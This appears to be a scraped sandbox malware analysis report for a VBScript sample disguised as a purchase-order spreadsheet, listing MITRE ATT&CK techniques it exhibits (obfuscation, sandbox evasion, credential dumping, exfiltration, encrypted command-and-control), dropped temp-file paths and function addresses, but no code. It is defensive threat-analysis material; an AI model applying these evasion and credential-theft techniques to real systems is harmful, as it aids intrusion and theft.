Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report PO-09784893 xlsx.vbs

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Memory Dumps

Sigma Signatures

Data Obfuscation

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Temp\RESB964.tmp

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_azl1colp.uti.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nvcwr2p1.jka.psm1

C:\Users\user\AppData\Local\Temp\u5h0ocqr\CSC31BB2AFB2CA9494684B4A57A653EBF6B.TMP

C:\Users\user\AppData\Local\Temp\u5h0ocqr\u5h0ocqr.0.cs

C:\Users\user\AppData\Local\Temp\u5h0ocqr\u5h0ocqr.cmdline

C:\Users\user\AppData\Local\Temp\u5h0ocqr\u5h0ocqr.dll

C:\Users\user\AppData\Local\Temp\u5h0ocqr\u5h0ocqr.out

\Device\ConDrv

Static File Info

General

File Icon

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Windows Analysis Report
PO-09784893 xlsx.vbs

Function 02879188 Relevance: 4.2, Strings: 2, Instructions: 1689
COMMON

Function 028796B1 Relevance: 3.9, Strings: 2, Instructions: 1426
COMMON

Function 07C6FCA0 Relevance: 2.7, Strings: 2, Instructions: 245
COMMON

Function 07C4C1D0 Relevance: 5.3, Strings: 4, Instructions: 281
COMMON

Function 07C26178 Relevance: 2.6, Strings: 2, Instructions: 124
COMMON

Function 07A51272 Relevance: 2.5, Strings: 2, Instructions: 39
COMMON

Function 07C6C6D0 Relevance: 1.6, APIs: 1, Instructions: 72
threadCOMMON

Function 02878E54 Relevance: 1.6, APIs: 1, Instructions: 56
COMMON

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.
Tactics:	Exfiltration
Data Sources:	Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre